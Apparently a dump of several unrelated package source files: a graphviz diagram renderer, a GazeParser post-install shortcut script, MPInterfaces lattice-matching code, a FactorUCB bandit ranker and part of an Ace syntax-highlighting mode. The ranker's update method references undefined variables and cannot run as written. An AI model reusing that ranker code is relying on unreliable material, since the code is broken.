e.node(name=step.id, label="+", shape='diamond', id=step.id, style="filled",
color="lightgrey", bold="true", fontname="Arial", fontsize="10")
else:
if step == current_step:
e.node(name=step.id, label=step.name, shape='box', id=step.id, style="filled",
color="black", bordercolor="black", borderwidth="1", fillcolor="#4A6648",
fontname="Arial", fontsize="10", fontcolor="white")
else:
e.node(name=step.id, label=step.name, shape='box', id=step.id, style="", color="black",
bordercolor="black", borderwidth="1", fillcolor="white", fontname="Arial",
fontsize="10")
else:
e.node(name=step.id, label='End', shape='ellipse', border='2', id=step.id, style="",
fillcolor="white", color="black", bordercolor="black", borderwidth="1", fontname="Arial",
fontsize="10")
ctr += 1
if ctr >= len(steps):
break
for step in steps:
if hasattr(step, "type"):
if str(step.type) == "connector":
if hasattr(step, "value"):
e.edge(step.source, step.target, dir="forward", arrowhead='normal', arrowsize='0.5',
label=step.value, fontname="Arial", fontsize="10")
else:
e.edge(step.source, step.target, dir="forward", arrowhead='normal', arrowsize='0.5',
fontname="Arial", fontsize="10")
print(f"Flow diagram saved: {folder + name}_diagram.png")
e.render(filename=f"{folder + name}_diagram", view=False, cleanup=True) | PypiClean |
/GazeParser-0.11.1.zip/GazeParser-0.11.1/GazeParser_post_install.py |
import sys
import os
import shutil
if len(sys.argv) > 1:
if sys.argv[1] == '-install':
try:
# Create shortcut directory
progDir = get_special_folder_path("CSIDL_COMMON_PROGRAMS")
shortcuts = os.path.join(progDir, 'GazeParser')
if not os.path.isdir(shortcuts):
os.mkdir(shortcuts)
directory_created(shortcuts)
# Create config directory in %APPDATA%
appdataDir = get_special_folder_path("CSIDL_APPDATA")
configDir = os.path.join(appdataDir, 'GazeParser')
if not os.path.isdir(configDir):
os.mkdir(configDir)
directory_created(configDir)
# Copy config files to config directory
gazeparserConfigFile = os.path.join(sys.prefix, 'lib', 'site-packages', 'GazeParser', 'GazeParser.cfg')
trackingtoolsConfigFile = os.path.join(sys.prefix, 'lib', 'site-packages', 'GazeParser', 'TrackingTools.cfg')
shutil.copy(gazeparserConfigFile, configDir)
shutil.copy(trackingtoolsConfigFile, configDir)
file_created(os.path.join(configDir, 'GazeParser.cfg'))
file_created(os.path.join(configDir, 'TrackingTools.cfg'))
# Link to GazeParser Project Page
homepageLink = os.path.join(shortcuts, 'GazeParserProjectPage.lnk')
if os.path.isfile(homepageLink):
os.remove(homepageLink)
create_shortcut(r'http://gazeparser.sourceforge.net/', 'GazeParser project page', homepageLink)
file_created(homepageLink)
# Link to GazeParser Config Directory
configdirLink = os.path.join(shortcuts, 'GazeParserConfigDir.lnk')
if os.path.isfile(configdirLink):
os.remove(configdirLink)
create_shortcut(configDir, 'GazeParser ConfigFile Directory', configdirLink)
file_created(configdirLink)
# Link to Viewer.py
viewerPath = os.path.join(sys.prefix, 'lib', 'site-packages', 'GazeParser', 'app', 'Viewer.py')
viewerIconPath = os.path.join(sys.prefix, 'lib', 'site-packages', 'GazeParser', 'app', 'img', 'viewer.ico')
viewerLink = os.path.join(shortcuts, 'Viewer.lnk')
if os.path.isfile(viewerLink):
os.remove(viewerLink)
create_shortcut(viewerPath, 'GazeParser Data Viewer', viewerLink, '', '', viewerIconPath)
file_created(viewerLink)
except:
print "failed to install shortcuts"
exc = sys.exc_info()
print exc[0], exc[1] | PypiClean |
/MPInterfaces-2020.6.19.tar.gz/MPInterfaces-2020.6.19/mpinterfaces/old_transformations.py |
from __future__ import division, print_function, unicode_literals, \
absolute_import
"""
Compute the reduced matching lattice vectors for heterostructure
interfaces as described in the paper by Zur and McGill:
Journal of Applied Physics 55, 378 (1984); doi: 10.1063/1.333084
"""
from six.moves import range
import sys
from math import sqrt
import numpy as np
from pymatgen.core.structure import Structure
from pymatgen.core.lattice import Lattice
from pymatgen.symmetry.analyzer import SpacegroupAnalyzer
__author__ = "Kiran Mathew, Arunima Singh"
__copyright__ = "Copyright 2017, Henniggroup"
__maintainer__ = "Joshua J. Gabriel"
__email__ = "[email protected]"
__status__ = "Production"
__date__ = "March 3, 2017"
def get_trans_matrices(n):
"""
yields a list of 2x2 transformation matrices for the
given supercell
n: size
"""
def factors(n0):
for i in range(1, n0 + 1):
if n0 % i == 0:
yield i
for i in factors(n):
m = n // i
yield [[[i, j], [0, m]] for j in range(m)]
def get_uv(ab, t_mat):
"""
return u and v, the supercell lattice vectors obtained through the
transformation matrix
"""
u = np.array(ab[0]) * t_mat[0][0] + np.array(ab[1]) * t_mat[0][1]
v = np.array(ab[1]) * t_mat[1][1]
return [u, v]
def get_reduced_uv(uv, tm):
"""
returns reduced lattice vectors
"""
is_not_reduced = True
u = np.array(uv[0])
v = np.array(uv[1])
tm1 = np.array(tm)
u1 = u.copy()
v1 = v.copy()
while is_not_reduced:
if np.dot(u, v) < 0:
v = -v
tm1[1] = -tm1[1]
if np.linalg.norm(u) > np.linalg.norm(v):
u1 = v.copy()
v1 = u.copy()
tm1c = tm1.copy()
tm1[0], tm1[1] = tm1c[1], tm1c[0]
elif np.linalg.norm(v) > np.linalg.norm(u + v):
v1 = v + u
tm1[1] = tm1[1] + tm1[0]
elif np.linalg.norm(v) > np.linalg.norm(u - v):
v1 = v - u
tm1[1] = tm1[1] - tm1[0]
else:
is_not_reduced = False
u = u1.copy()
v = v1.copy()
return [u, v], tm1
def reduced_supercell_vectors(ab, n):
"""
returns all possible reduced in-plane lattice vectors and
transition matrices for the given starting unit cell lattice
vectors(ab) and the supercell size n
"""
uv_list = []
tm_list = []
for r_tm in get_trans_matrices(n):
for tm in r_tm:
uv = get_uv(ab, tm)
uv, tm1 = get_reduced_uv(uv, tm)
uv_list.append(uv)
tm_list.append(tm1)
return uv_list, tm_list
def get_r_list(area1, area2, max_area, tol=0.02):
"""
returns a list of r1 and r2 values that satisfies:
r1/r2 = area2/area1 with the constraints:
r1 <= Area_max/area1 and r2 <= Area_max/area2
r1 and r2 corresponds to the supercell sizes of the 2 interfaces
that align them
"""
r_list = []
rmax1 = int(max_area / area1)
rmax2 = int(max_area / area2)
print('rmax1, rmax2: {0}, {1}\n'.format(rmax1, rmax2))
for r1 in range(1, rmax1 + 1):
for r2 in range(1, rmax2 + 1):
if abs(float(r1) * area1 - float(r2) * area2) / max_area <= tol:
r_list.append([r1, r2])
return r_list
def get_mismatch(a, b):
"""
percentage mistmatch between the lattice vectors a and b
"""
a = np.array(a)
b = np.array(b)
return np.linalg.norm(b) / np.linalg.norm(a) - 1
def get_angle(a, b):
"""
angle between lattice vectors a and b in degrees
"""
a = np.array(a)
b = np.array(b)
return np.arccos(
np.dot(a, b) / np.linalg.norm(a) / np.linalg.norm(b)) * 180 / np.pi
def get_area(uv):
"""
area of the parallelogram
"""
a = uv[0]
b = uv[1]
return np.linalg.norm(np.cross(a, b))
def get_matching_lattices(iface1, iface2, max_area=100,
max_mismatch=0.01, max_angle_diff=1,
r1r2_tol=0.02):
"""
computes a list of matching reduced lattice vectors that satify
the max_area, max_mismatch and max_anglele_diff criteria
"""
if iface1 is None and iface2 is None:
# test : the numbers from the paper
a1 = 5.653
a2 = 6.481
# for 100 plane
ab1 = [[0, a1 / 2, -a1 / 2], [0, a1 / 2, a1 / 2]]
ab2 = [[0, a2 / 2, -a2 / 2], [0, a2 / 2, a2 / 2]]
area1 = a1 ** 2 / 2
area2 = a2 ** 2 / 2
# for 110 plane
ab1 = [[a1 / 2, -a1 / 2, 0], [0, 0, a1]]
ab2 = [[a2 / 2, -a2 / 2, 0], [0, 0, a2]]
area1 = a1 ** 2 / sqrt(2)
area2 = a2 ** 2 / sqrt(2)
# for 111 surface
# ab1 = [ [a1/2, 0, a1/2], [a1/2, a1/2, 0]]
# ab2 = [ [a2/2, 0, a2/2], [a2/2, a2/2, 0]]
# area1 = a1**2 * sqrt(3)/4 #/ 2 /sqrt(2)
# area2 = a2**2 * sqrt(3)/4 #/ 2 / sqrt(2)
else:
area1 = iface1.surface_area
area2 = iface2.surface_area
# a, b vectors that define the surface
ab1 = [iface1.lattice.matrix[0, :], iface1.lattice.matrix[1, :]]
ab2 = [iface2.lattice.matrix[0, :], iface2.lattice.matrix[1, :]]
print('initial values:\nuv1:\n{0}\nuv2:\n{1}\n '.format(ab1, ab2))
r_list = get_r_list(area1, area2, max_area, tol=r1r2_tol)
if not r_list:
print(
'r_list is empty. Try increasing the max surface area or/and the other tolerance paramaters')
sys.exit()
found = []
print('searching ...')
for r1r2 in r_list:
uv1_list, tm1_list = reduced_supercell_vectors(ab1, r1r2[0])
uv2_list, tm2_list = reduced_supercell_vectors(ab2, r1r2[1])
if not uv1_list and not uv2_list:
continue
for i, uv1 in enumerate(uv1_list):
for j, uv2 in enumerate(uv2_list):
u_mismatch = get_mismatch(uv1[0], uv2[0])
v_mismatch = get_mismatch(uv1[1], uv2[1])
angle1 = get_angle(uv1[0], uv1[1])
angle2 = get_angle(uv2[0], uv2[1])
angle_mismatch = abs(angle1 - angle2)
area1 = get_area(uv1)
area2 = get_area(uv2)
if abs(u_mismatch) < max_mismatch and abs(
v_mismatch) < max_mismatch:
max_angle = max(angle1, angle2)
min_angle = min(angle1, angle2)
mod_angle = max_angle % min_angle
is_angle_factor = False
if abs(mod_angle) < 0.001 or abs(
mod_angle - min_angle) < 0.001:
is_angle_factor = True
if angle_mismatch < max_angle_diff or is_angle_factor:
if angle_mismatch > max_angle_diff:
if angle1 > angle2:
uv1[1] = uv1[0] + uv1[1]
tm1_list[i][1] = tm1_list[i][0] + tm1_list[i][
1]
else:
uv2[1] = uv2[0] + uv2[1]
tm2_list[j][1] = tm2_list[j][0] + tm2_list[j][
1]
found.append((uv1, uv2, min(area1, area2), u_mismatch,
v_mismatch, angle_mismatch, tm1_list[i],
tm2_list[j]))
if found:
print('\nMATCH FOUND\n')
uv_opt = sorted(found, key=lambda x: x[2])[0]
print('optimum values:\nuv1:\n{0}\nuv2:\n{1}\narea:\n{2}\n'.format(
uv_opt[0], uv_opt[1], uv_opt[2]))
print('optimum transition matrices:\ntm1:\n{0}\ntm2:\n{1}\n'.format(
uv_opt[6], uv_opt[7]))
print('u,v & angle mismatches:\n{0}, {1}, {2}\n'.format(uv_opt[3],
uv_opt[4],
uv_opt[5]))
return uv_opt[0], uv_opt[1]
else:
print('\n NO MATCH FOUND')
return None, None
def get_uniq_layercoords(struct, nlayers, top=True):
"""
returns the coordinates of unique sites in the top or bottom
nlayers of the given structure.
Args:
struct: input structure
nlayers: number of layers
top: top or bottom layers, default is top layer
Return:
numpy array of unique coordinates
"""
coords = np.array([site.coords for site in struct])
z = coords[:, 2]
z = np.around(z, decimals=4)
zu, zuind = np.unique(z, return_index=True)
z_nthlayer = z[zuind[-nlayers]]
zfilter = (z >= z_nthlayer)
if not top:
z_nthlayer = z[zuind[nlayers - 1]]
zfilter = (z <= z_nthlayer)
# site indices in the layers
indices_layers = np.argwhere(zfilter).ravel()
sa = SpacegroupAnalyzer(struct)
symm_data = sa.get_symmetry_dataset()
# equivalency mapping for the structure
# i'th site in the struct equivalent to eq_struct[i]'th site
eq_struct = symm_data["equivalent_atoms"]
# equivalency mapping for the layers
eq_layers = eq_struct[indices_layers]
# site indices of unique atoms in the layers
__, ueq_layers_indices = np.unique(eq_layers, return_index=True)
# print(ueq_layers_indices)
indices_uniq = indices_layers[ueq_layers_indices]
# coordinates of the unique atoms in the layers
return coords[indices_uniq]
def generate_all_configs(mat2d, substrate,
nlayers_2d=2, nlayers_substrate=2,
seperation=5):
"""
For the given lattice matched 2D material and substrate structures,
this functions computes all unique sites in the interface layers
and subsequently generates all possible unique 2d/substrate
interfaces and writes the corresponding poscar files
Args:
mat2d: Lattice and symmetry-matched 2D material structure
substrate: Lattice and symmetry-matched 2D substrate structure
nlayers_substrate: number of substrate layers
nlayers_2d: number of 2d material layers
seperation: seperation between the substrate and the 2d
material
Returns:
None
TODO: give additional random placement of 2D material on substrate
"""
# immediate exit if no structures
if not (mat2d and substrate):
print("no structures. aborting ...")
sys.exit()
# unique site coordinates in the substrate top layers
coords_uniq_sub = get_uniq_layercoords(substrate,
nlayers_substrate,
top=True)
# unique site coordinates in the 2D material bottom layers
coords_uniq_2d = get_uniq_layercoords(mat2d,
nlayers_2d,
top=False)
substrate_top_z = np.max(np.array([site.coords
for site in substrate])[:, 2])
mat_2d_bottom = np.min(np.array([site.coords
for site in mat2d])[:, 2])
# shift normal to the surface by 'seperation'
surface_normal = substrate.lattice.matrix[2, :]
origin = np.array([0, 0, substrate_top_z])
shift_normal = surface_normal / np.linalg.norm(surface_normal) * seperation
# generate all possible interfaces, one for each combination of
# unique substrate and unique 2d materials site in the layers .i.e
# an interface structure for each parallel shift
# interface = 2D material + substrate
hetero_interfaces = []
for coord_i in coords_uniq_sub:
for coord_j in coords_uniq_2d:
interface = substrate.copy()
shift_parallel = coord_i - coord_j
shift_parallel[2] = 0
shift_net = shift_normal - shift_parallel
for site in mat2d:
new_coords = site.coords
new_coords[2] = site.coords[2] - mat_2d_bottom
new_coords = new_coords + origin + shift_net
interface.append(site.specie, new_coords,
coords_are_cartesian=True)
hetero_interfaces.append(interface)
return hetero_interfaces
def get_aligned_lattices(slab_sub, slab_2d, max_area=200,
max_mismatch=0.05,
max_angle_diff=1, r1r2_tol=0.2):
"""
given the 2 slab structures and the alignment paramters, return
slab structures with lattices that are aligned with respect to each
other
"""
# get the matching substrate and 2D material lattices
uv_substrate, uv_mat2d = get_matching_lattices(slab_sub, slab_2d,
max_area=max_area,
max_mismatch=max_mismatch,
max_angle_diff=max_angle_diff,
r1r2_tol=r1r2_tol)
if not uv_substrate and not uv_mat2d:
print("no matching u and v, trying adjusting the parameters")
sys.exit()
substrate = Structure.from_sites(slab_sub)
mat2d = Structure.from_sites(slab_2d)
# map the intial slabs to the newly found matching lattices
substrate_latt = Lattice(np.array(
[
uv_substrate[0][:],
uv_substrate[1][:],
substrate.lattice.matrix[2, :]
]))
# to avoid numerical issues with find_mapping
mat2d_fake_c = mat2d.lattice.matrix[2, :] / np.linalg.norm(
mat2d.lattice.matrix[2, :]) * 5.0
mat2d_latt = Lattice(np.array(
[
uv_mat2d[0][:],
uv_mat2d[1][:],
mat2d_fake_c
]))
mat2d_latt_fake = Lattice(np.array(
[
mat2d.lattice.matrix[0, :],
mat2d.lattice.matrix[1, :],
mat2d_fake_c
]))
_, __, scell = substrate.lattice.find_mapping(substrate_latt,
ltol=0.05,
atol=1)
scell[2] = np.array([0, 0, 1])
substrate.make_supercell(scell)
_, __, scell = mat2d_latt_fake.find_mapping(mat2d_latt,
ltol=0.05,
atol=1)
scell[2] = np.array([0, 0, 1])
mat2d.make_supercell(scell)
# modify the substrate lattice so that the 2d material can be
# grafted on top of it
lmap = Lattice(np.array(
[
substrate.lattice.matrix[0, :],
substrate.lattice.matrix[1, :],
mat2d.lattice.matrix[2, :]
]))
mat2d.modify_lattice(lmap)
return substrate, mat2d | PypiClean |
/FairDynamicRec-0.0.123-py3-none-any.whl/fair_dynamic_rec/core/rankers/factor_ucb2.py | import numpy as np
from .abstract_ranker import AbstractRanker
# Objective function: min 1/2 (X - U . V_T) + 1/2 * \lambda (U)^2 + 1/2 * \lambda (V)^2
class FactorUCB1(AbstractRanker):
def __init__(self, config, dataObj, parameters=None):
super(FactorUCB1, self).__init__(config, dataObj)
self.prng = np.random.RandomState(seed=config.seed)
self.k = 0
self.contextual_var = bool(parameters["contextual_variable"]["value"]) if "contextual_variable" in parameters else False
if self.contextual_var:
self.X = self.dataObj.feature_data['train_item_topical_features']
self.k = self.X.shape[1]
self.l = int(parameters["latent_dim"]["value"]) if "latent_dim" in parameters else 0
self.lambda_1 = float(parameters["lambda1"]["value"]) if "lambda1" in parameters else 1.0
self.lambda_2 = float(parameters["labmda2"]["value"]) if "lambda2" in parameters else 1.0
self.alpha_a = float(parameters["alpha_a"]["value"]) if "alpha_a" in parameters else 1.0
self.alpha_u = float(parameters["alpha_u"]["value"]) if "alpha_u" in parameters else 1.0
self.batch_features = None
self.U = np.zeros((self.dataObj.n_users, self.k+self.l))
self.V = np.zeros((self.dataObj.n_items, self.l))
self.W = np.ones((self.dataObj.n_users, self.dataObj.n_users))
self.A = self.lambda_1 * np.identity(n=self.k+self.l)
self.AInv = np.linalg.inv(self.A) #np.zeros((self.k+self.l,self.k+self.l))
self.b = np.zeros((self.dataObj.n_users,self.k+self.l))
self.C = self.lambda_2 * np.identity(n=self.l)
self.CInv = np.linalg.inv(self.C)
self.d = np.zeros((self.dataObj.n_users, self.l))
def get_ranking(self, batch_users, sampled_items=None, round=None):
rankings = np.zeros((len(batch_users), self.config.list_size), dtype=int)
self.batch_features = np.zeros((len(batch_users), self.config.list_size, self.k+self.l))
if self.contextual_var:
items_feature = np.concatenate((self.X, self.V), axis=1)
user_topic = self.U[:,:self.k]
user_latent = self.U[:, self.k:]
else:
items_feature = self.V
user_latent = self.U
tie_breaker = self.prng.rand(len(sampled_items))
for i in range(len(batch_users)):
user = batch_users[i]
XVW = np.dot(items_feature[sampled_items].T,self.W)
cb1 = self.alpha_u * np.sqrt(np.multiply(np.dot(XVW.T,self.AInv),XVW.T))
cb2 = self.alpha_a * np.sqrt(np.dot(np.dot(np.dot(user_latent.T, self.W).T, self.CInv), np.dot(user_latent.T, self.W[user]).T))
score = np.dot(items_feature[sampled_items], np.dot(self.U.T, self.W[user]))
ucb = score + cb1.T + cb2.T
rankings[i] = np.lexsort((tie_breaker, -ucb))[:self.config.list_size]
# if self.contextual_var:
# self.batch_features[i] = np.concatenate((self.X[rankings[i]], self.dataObj.feature_data['test_item_latent_features'][rankings[i]]), axis=1)
# else:
# self.batch_features[i] = self.dataObj.feature_data['test_item_latent_features'][rankings[i]]
return rankings
def update(self, batch_users, sampled_items, rankings, clicks, round=None, user_round=None):
for i in range(len(batch_users)):
user = batch_users[i]
X = np.zeros((self.V.shape[0], self.k + self.l))
if self.contextual_var:
X[rankings[i]] = np.concatenate((self.X[rankings[i]], self.dataObj.feature_data['test_item_latent_features'][rankings[i]]), axis=1)
else:
X[rankings[i]] = self.dataObj.feature_data['test_item_latent_features'][rankings[i]]
X = X[sampled_items]
_clicks, _X = self.__collect_feedback(clicks, i, rankings, X)
# discount_coef = [1 / (math.log(1 + j)) for j in range(1, len(rankings[0]) + 1)]
# discount_coef_reward = [math.log(1 + j) for j in range(1, len(_clicks) + 1)]
# discount_coef_penalization = [self.gamma * 1 / (math.log(1 + j)) for j in range(1, len(_clicks) + 1)]
# if self.processing_type == 'recommended_discountfactor':
# self.exp_recommended[user][np.array(rankings[0])] += discount_coef
# elif self.processing_type == 'examined_discountfactor':
# if len(clicks) == 0:
# self.exp_examined[user][np.array(rankings[0])] += discount_coef
# else:
# self.exp_examined[user][np.array(rankings[0][:len(clicks)])] += discount_coef[:len(clicks)]
#
# if self.processing_type == 'item_weight':
# _batch_features = self.update_item_weight(rankings[0], _batch_features, _clicks, discount_coef_penalization, discount_coef_reward, user, user_round)
cb1 = self.alpha_u * np.sqrt(np.dot(np.dot(np.dot(items_feature[sampled_items].T, self.W[user].T).T, self.AInv), np.dot(items_feature[sampled_items].T, self.W.T)))
cb2 = self.alpha_a * np.sqrt(np.dot(np.dot(np.dot(user_latent.T, self.W[user]).T, self.CInv), np.dot(user_latent.T, self.W[user])))
"""
This is for computing self.theta (Line 3-5 of Alogirthm 1 of NIPS 11)
For fast matrix inverse, we use Woodbury matrix identity (https://en.wikipedia.org/wiki/Woodbury_matrix_identity)
Return: self.theta is updated.
"""
# (X,V) * W
XVW = np.dot(X.T, self.W).T
# for the inverse of M, feature matrix
# XW * A^-1 * x^T
xAx = np.dot(XVW, np.dot(self.AInv, XVW.T))
# (1/sigma I + xAx)^-1
try:
tmp_inv = np.linalg.inv(1 / self.sigma * np.eye(len(XVW)) + xAx)
except np.linalg.LinAlgError:
# for the ill matrix. if the matrix is not invertible, we ignore this update
self.ill_matrix_counter += 1
return
# A^-1*x^T
AInv_xT = self.AInv.dot(XVW.T)
# AInv_xT*tmp_inv*AInv_xT^T
self.AInv_tmp = np.dot(np.dot(AInv_xT, tmp_inv), AInv_xT.T)
# MInv - the new part
self.AInv -= self.AInv_tmp
self.A += self.sigma * XVW.T.dot(XVW)
# for b: feedback
# if self.processing_type == 'feature_weight':
# self.update_feature_weight(_batch_features, _clicks, discount_coef_penalization, discount_coef_reward,
# user, user_round)
# else:
self.b += np.dot(_clicks, XVW)
# self.b_tmp[user] = np.dot(_clicks, _batch_features)
# self.b[user] += self.b_tmp[user]
# for parameter theta
self.theta[user] = np.dot(self.MInv[user], self.b[user])
# self.theta[self.theta < 0] = 0
self.n_samples[user] += len(_clicks)
self.n_clicks[user] += sum(_clicks)
def __collect_feedback(self, clicks, batch_user_id, rankings, batch_X):
"""
:param y:
:return: the last observed position.
"""
# With Cascade assumption, only the first click counts.
if self.config.feedback_model == 'cascade':
if np.sum(clicks[batch_user_id]) == 0:
return clicks[batch_user_id], batch_X
first_click = np.where(clicks[batch_user_id])[0][0]
batch_X[rankings[:first_click+1]] = np.zeros((rankings[:first_click+1], batch_X.shape[1]))
return clicks[batch_user_id][:first_click + 1], self.batch_features[batch_user_id][:first_click + 1]
elif self.config.feedback_model == 'dcm':
if np.sum(clicks[batch_user_id]) == 0:
return clicks[batch_user_id], self.batch_features[batch_user_id]
last_click = np.where(clicks[batch_user_id])[0][-1]
return clicks[batch_user_id][:last_click + 1], self.batch_features[batch_user_id][:last_click + 1]
# all items are observed
else:
return clicks[batch_user_id], self.batch_features[batch_user_id]
def vectorize(self, M):
# temp = []
# for i in range(M.shape[0]*M.shape[1]):
# temp.append(M.T.item(i))
# V = np.asarray(temp)
# return V
return np.reshape(M.T, M.shape[0] * M.shape[1]) | PypiClean |
/FlaskCms-0.0.4.tar.gz/FlaskCms-0.0.4/flask_cms/static/js/ace/mode-rhtml.js | ace.define("ace/mode/doc_comment_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/text_highlight_rules"], function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules;
var DocCommentHighlightRules = function() {
this.$rules = {
"start" : [ {
token : "comment.doc.tag",
regex : "@[\\w\\d_]+" // TODO: fix email addresses
}, {
token : "comment.doc.tag",
regex : "\\bTODO\\b"
}, {
defaultToken : "comment.doc"
}]
};
};
oop.inherits(DocCommentHighlightRules, TextHighlightRules);
DocCommentHighlightRules.getStartRule = function(start) {
return {
token : "comment.doc", // doc comment
regex : "\\/\\*(?=\\*)",
next : start
};
};
DocCommentHighlightRules.getEndRule = function (start) {
return {
token : "comment.doc", // closing comment
regex : "\\*\\/",
next : start
};
};
exports.DocCommentHighlightRules = DocCommentHighlightRules;
});
ace.define("ace/mode/javascript_highlight_rules",["require","exports","module","ace/lib/oop","ace/mode/doc_comment_highlight_rules","ace/mode/text_highlight_rules"], function(require, exports, module) {
"use strict";
var oop = require("../lib/oop");
var DocCommentHighlightRules = require("./doc_comment_highlight_rules").DocCommentHighlightRules;
var TextHighlightRules = require("./text_highlight_rules").TextHighlightRules;
var JavaScriptHighlightRules = function() {
var keywordMapper = this.createKeywordMapper({
"variable.language":
"Array|Boolean|Date|Function|Iterator|Number|Object|RegExp|String|Proxy|" + // Constructors
"Namespace|QName|XML|XMLList|" + // E4X
"ArrayBuffer|Float32Array|Float64Array|Int16Array|Int32Array|Int8Array|" +
"Uint16Array|Uint32Array|Uint8Array|Uint8ClampedArray|" +
"Error|EvalError|InternalError|RangeError|ReferenceError|StopIteration|" + // Errors
"SyntaxError|TypeError|URIError|" +
"decodeURI|decodeURIComponent|encodeURI|encodeURIComponent|eval|isFinite|" + // Non-constructor functions
"isNaN|parseFloat|parseInt|" +
"JSON|Math|" + // Other
"this|arguments|prototype|window|document" , // Pseudo
"keyword":
"const|yield|import|get|set|" +
"break|case|catch|continue|default|delete|do|else|finally|for|function|" +
"if|in|instanceof|new|return|switch|throw|try|typeof|let|var|while|with|debugger|" +
"__parent__|__count__|escape|unescape|with|__proto__|" +
"class|enum|extends|super|export|implements|private|public|interface|package|protected|static",
"storage.type":
"const|let|var|function",
"constant.language":
"null|Infinity|NaN|undefined",
"support.function":
"alert",
"constant.language.boolean": "true|false"
}, "identifier");
var kwBeforeRe = "case|do|else|finally|in|instanceof|return|throw|try|typeof|yield|void";
var identifierRe = "[a-zA-Z\\$_\u00a1-\uffff][a-zA-Z\\d\\$_\u00a1-\uffff]*\\b";
var escapedRe = "\\\\(?:x[0-9a-fA-F]{2}|" + // hex
"u[0-9a-fA-F]{4}|" + // unicode
"[0-2][0-7]{0,2}|" + // oct
"3[0-6][0-7]?|" + // oct
"37[0-7]?|" + // oct
"[4-7][0-7]?|" + //oct
".)";
this.$rules = {
"no_regex" : [
{
token : "comment",
regex : "\\/\\/",
next : "line_comment"
},
DocCommentHighlightRules.getStartRule("doc-start"),
{
token : "comment", // multi line comment
regex : /\/\*/,
next : "comment"
}, {
token : "string",
regex : "'(?=.)",
next : "qstring"
}, {
token : "string",
regex : '"(?=.)',
next : "qqstring"
}, {
token : "constant.numeric", // hex
regex : /0[xX][0-9a-fA-F]+\b/
}, {
token : "constant.numeric", // float
regex : /[+-]?\d+(?:(?:\.\d*)?(?:[eE][+-]?\d+)?)?\b/
}, {
token : [
"storage.type", "punctuation.operator", "support.function",
"punctuation.operator", "entity.name.function", "text","keyword.operator"
],
regex : "(" + identifierRe + ")(\\.)(prototype)(\\.)(" + identifierRe +")(\\s*)(=)",
next: "function_arguments"
}, {
token : [
"storage.type", "punctuation.operator", "entity.name.function", "text",
"keyword.operator", "text", "storage.type", "text", "paren.lparen"
],
regex : "(" + identifierRe + ")(\\.)(" + identifierRe +")(\\s*)(=)(\\s*)(function)(\\s*)(\\()",
next: "function_arguments"
}, {
token : [
"entity.name.function", "text", "keyword.operator", "text", "storage.type",
"text", "paren.lparen"
],
regex : "(" + identifierRe +")(\\s*)(=)(\\s*)(function)(\\s*)(\\()",
next: "function_arguments"
}, {
token : [
"storage.type", "punctuation.operator", "entity.name.function", "text",
"keyword.operator", "text",
"storage.type", "text", "entity.name.function", "text", "paren.lparen"
],
regex : "(" + identifierRe + ")(\\.)(" + identifierRe +")(\\s*)(=)(\\s*)(function)(\\s+)(\\w+)(\\s*)(\\()",
next: "function_arguments"
}, {
token : [
"storage.type", "text", "entity.name.function", "text", "paren.lparen"
],
regex : "(function)(\\s+)(" + identifierRe + ")(\\s*)(\\()",
next: "function_arguments"
}, {
token : [
"entity.name.function", "text", "punctuation.operator",
"text", "storage.type", "text", "paren.lparen"
],
regex : "(" + identifierRe + ")(\\s*)(:)(\\s*)(function)(\\s*)(\\()",
next: "function_arguments"
}, {
token : [
"text", "text", "storage.type", "text", "paren.lparen"
],
regex : "(:)(\\s*)(function)(\\s*)(\\()",
next: "function_arguments"
}, {
token : "keyword",
regex : "(?:" + kwBeforeRe + ")\\b",
next : "start"
}, {
token : ["punctuation.operator", "support.function"],
regex : /(\.)(s(?:h(?:ift|ow(?:Mod(?:elessDialog|alDialog)|Help))|croll(?:X|By(?:Pages|Lines)?|Y|To)?|t(?:op|rike)|i(?:n|zeToContent|debar|gnText)|ort|u(?:p|b(?:str(?:ing)?)?)|pli(?:ce|t)|e(?:nd|t(?:Re(?:sizable|questHeader)|M(?:i(?:nutes|lliseconds)|onth)|Seconds|Ho(?:tKeys|urs)|Year|Cursor|Time(?:out)?|Interval|ZOptions|Date|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Date|FullYear)|FullYear|Active)|arch)|qrt|lice|avePreferences|mall)|h(?:ome|andleEvent)|navigate|c(?:har(?:CodeAt|At)|o(?:s|n(?:cat|textual|firm)|mpile)|eil|lear(?:Timeout|Interval)?|a(?:ptureEvents|ll)|reate(?:StyleSheet|Popup|EventObject))|t(?:o(?:GMTString|S(?:tring|ource)|U(?:TCString|pperCase)|Lo(?:caleString|werCase))|est|a(?:n|int(?:Enabled)?))|i(?:s(?:NaN|Finite)|ndexOf|talics)|d(?:isableExternalCapture|ump|etachEvent)|u(?:n(?:shift|taint|escape|watch)|pdateCommands)|j(?:oin|avaEnabled)|p(?:o(?:p|w)|ush|lugins.refresh|a(?:ddings|rse(?:Int|Float)?)|r(?:int|ompt|eference))|e(?:scape|nableExternalCapture|val|lementFromPoint|x(?:p|ec(?:Script|Command)?))|valueOf|UTC|queryCommand(?:State|Indeterm|Enabled|Value)|f(?:i(?:nd|le(?:ModifiedDate|Size|CreatedDate|UpdatedDate)|xed)|o(?:nt(?:size|color)|rward)|loor|romCharCode)|watch|l(?:ink|o(?:ad|g)|astIndexOf)|a(?:sin|nchor|cos|t(?:tachEvent|ob|an(?:2)?)|pply|lert|b(?:s|ort))|r(?:ou(?:nd|teEvents)|e(?:size(?:By|To)|calc|turnValue|place|verse|l(?:oad|ease(?:Capture|Events)))|andom)|g(?:o|et(?:ResponseHeader|M(?:i(?:nutes|lliseconds)|onth)|Se(?:conds|lection)|Hours|Year|Time(?:zoneOffset)?|Da(?:y|te)|UTC(?:M(?:i(?:nutes|lliseconds)|onth)|Seconds|Hours|Da(?:y|te)|FullYear)|FullYear|A(?:ttention|llResponseHeaders)))|m(?:in|ove(?:B(?:y|elow)|To(?:Absolute)?|Above)|ergeAttributes|a(?:tch|rgins|x))|b(?:toa|ig|o(?:ld|rderWidths)|link|ack))\b(?=\()/
}, {
token : ["punctuation.operator", "support.function.dom"],
